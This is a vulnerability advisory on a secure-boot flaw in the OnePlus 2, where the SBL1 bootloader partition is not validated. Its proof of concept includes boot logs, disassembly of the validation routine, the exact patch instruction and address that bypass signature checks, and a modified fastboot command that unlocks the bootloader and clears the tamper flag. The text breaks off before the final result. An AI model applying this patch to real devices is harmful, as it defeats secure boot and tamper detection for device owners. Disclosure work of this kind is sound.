OnePlus 2 Lack of SBL1 Validation Broken Secure Boot

Aleph Research Advisory

Critical

OnePlus 2

OnePlus 2 (a 2015 Qualcomm Snapdragon 810 device) successfully boots with a tampered Secondary Bootloader ( sbl1 ) partition although it is digitally-signed, hence it is not validated by its Primary Bootloader (PBL), maybe due to lenient hardware configuration.

[pbl] `-. [sbl1] `-. [aboot] |`-. | [...] |- [tz] |- [rpm] |- [pmic] . .

Attackers capable of tampering with the sbl1 partition can then disable the signature validation of the rest of the bootloader chain and other SBL-validated partitions such as TrustZone and ABOOT.

[pbl] `-. [sbl1 * ] `-. [aboot] |`-. | [...] |- [tz] |- [rpm] |- [pmic] . . * - Modified as per our PoC

Equivalent partitions of older OnePlus devices (One/X) seem to have no digital signatures at all, and therefore are vulnerable as well.

Proof-of-Concept

The goal of our PoC, whose results are available in our repo, is to disable the signature validation (implemented by SBL) of the rest of the partitions such as TrustZone and ABOOT.

In order to find the exact routine within the sbl1 image that does that, we first discovered the UART ports exposed on the OnePlus 2 board, by simply probing the available ones using our beloved Logic Analyzer:

Booting with authentic partitions results in the following debug messages through UART:

B - 274561 - SBL1, Start B - 281728 - scatterload_region && ram_init, Start B - 296490 - boot_flash_init, Start D - 30 - boot_flash_init, Delta B - 297039 - boot_config_data_table_init, Start D - 3629 - boot_config_data_table_init, Delta B - 306067 - Image Load, Start D - 14060 - PMIC Image Loaded, Delta B - 320097 - sbl1_ddr_set_params, Start D - 579 - sbl1_ddr_set_params, Delta B - 326136 - pm_device_init, Start B - 328607 - PON REASON:PM0:0x2000000a0 PM1:0x2000000a0 D - 37332 - pm_device_init, Delta [...] B - 763720 - Image Load, Start D - 36020 - APPSBL Image Loaded, Delta B - 799740 - sbl1_efs_handle_cookies, Start D - 457 - sbl1_efs_handle_cookies, End B - 805383 - RPM sync cookie updated B - 808921 - SBL1, End D - 536708 - SBL1, Delta Android Bootloader - UART_DM Initialized!!!

Booting with tampered SBL-validated partitions (e.g. aboot , tz ), however, results in the following error (or similar):

B - 205997 - SBL1, Start B - 213317 - scatterload_region && ram_init, Start B - 227896 - boot_flash_init, Start D - 30 - boot_flash_init, Delta B - 228475 - boot_config_data_table_init, Start D - 3599 - boot_config_data_table_init, Delta [...] B - 1184406 - Qsee Execution, Start D - 80184 - Qsee Execution, Delta B - 1436458 - Image Load, Start D - 73871 - RPM Image Loaded, Delta B - 1510573 - Signal PBL to Jump to RPM FW B - 1512037 - Image Load, Start D - 2562 - WDT Image Loaded, Delta B - 1518107 - Image Load, Start B - 1683996 - Error code 302e at /work/home/jenkins/14049_user_MP_HYDROGEN/MODEM/MSM8994/msm8994/boot_images/core/boot/secboot3/src/boot_elf_loader.c Line 829

By back-referencing the error string with IDA we can easily pinpoint the SBL function which validates the rest of the chain:

ROM:00000000FEC0E908 loc_FEC0E908 ; CODE XREF: sub_FEC0E89C+1Cj ROM:00000000FEC0E908 MOV X0, X19 ROM:00000000FEC0E90C BL sub_FEC0F9A0 ROM:00000000FEC0E910 CBZ W0, loc_FEC0E934 ROM:00000000FEC0E914 ADRP X0, #[email protected] ROM:00000000FEC0E918 LDR X3, [X0,#[email protected]] ROM:00000000FEC0E91C ADRP X0, #(aSignalPblToJum+0x16) ; - ROM:00000000FEC0E920 ADD X0, X0, #[email protected] ; "/work/home/jenkins/14049_M_OOS_user_MP2"... ROM:00000000FEC0E924 MOV W1, #0x33D ROM:00000000FEC0E928 MOV W2, #0x302E ROM:00000000FEC0E92C BLR X3 ROM:00000000FEC0E930 ROM:00000000FEC0E930 loc_FEC0E930 ROM:00000000FEC0E930 B loc_FEC0E930 ROM:00000000FEC0E934 ROM:00000000FEC0E934 loc_FEC0E934 ; CODE XREF: sub_FEC0E89C+74j ROM:00000000FEC0E934 LDR X19, [SP,#0x30+var_28] ROM:00000000FEC0E938 LDP X20, X21, [SP,#0x30+var_20] ROM:00000000FEC0E93C LDP X22, X30, [SP,#0x30+var_10] ROM:00000000FEC0E940 ADD SP, SP, #0x30 ROM:00000000FEC0E944 RET ROM:00000000FEC0E944 ; End of function sub_FEC0E89C

Notice the spinlock @ 0xFEC0E930 . Quick patching of the call @ 0xFEC0E90C with MOVZ W0, #0 will avoid the failing path. And indeed, booting with tampered aboot and tz now succeeds:

B - 276757 - SBL1, Start [...] D - 7564 - QHEE Image Loaded, Delta B - 760548 - Image Load, Start D - 31690 - QSEE Image Loaded, Delta [...] D - 36021 - APPSBL Image Loaded, Delta B - 1102178 - sbl1_efs_handle_cookies, Start D - 457 - sbl1_efs_handle_cookies, End B - 1107790 - RPM sync cookie updated B - 1111420 - SBL1, End D - 836920 - SBL1, Delta Android Bootloader - UART_DM Initialized!!! [50] project name got 14049 [...] [1130] lk fg_volt = 4038 [1130] Backlight 1 [1670] WARM: power_on_reason is HARD_RESET [0x21] [1680] WARM: power_on_reason is PON1 [0x21] [1680] WARM: power_off_reason is KPDPWR_N [0x80] [1850] Channel alloc freed [1870] Jumping to kernel via monitor

To prove we can execute code within aboot , we have also modified one of the fastboot oem commands, made it temporarily unlock the bootloader, and turn off the device tampering flag:

int __fastcall cowabunga_F92C60C ( int a1 , int a2 ) { [...] dword_F978FA4 = 1 ; // unlocked dword_F978FA8 = 0 ; // tampered FAIL ( "pizza" ,); [...] }

The result is as follows: